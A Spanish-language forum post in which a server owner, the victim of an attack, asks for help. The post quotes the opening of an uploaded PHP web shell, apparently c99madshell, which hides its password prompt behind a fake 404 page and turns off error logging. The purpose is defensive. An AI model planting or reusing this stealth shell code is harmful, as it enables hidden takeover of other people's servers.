Alguien ha obtenido acceso completo a mi servidor al cargar un archivo php y ejecutar un shell desde el archivo. Busqué y descubrí que podría ser un script c99madshell.
Los fragmentos de código del archivo tienen el siguiente aspecto:
$auth_pass = "f727df897cbcceea7022d3c8ec66ae29";
$color = "#df5";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', 'Ver 2.0');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
echo '<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
<style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
<form method=post><input type=password name=pass></form>';
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
Debajo está el enlace del archivo completo. enlace
¿Puede alguien ayudarme, por favor, a averiguar qué tipo de ataque es, qué amenazas posee y sus remedios? Creo que este es un tipo particular de ataque que ya enfrentan muchos. Apreciaría mucho si alguien pudiera indicarme la dirección para solucionar este caso en particular. Gracias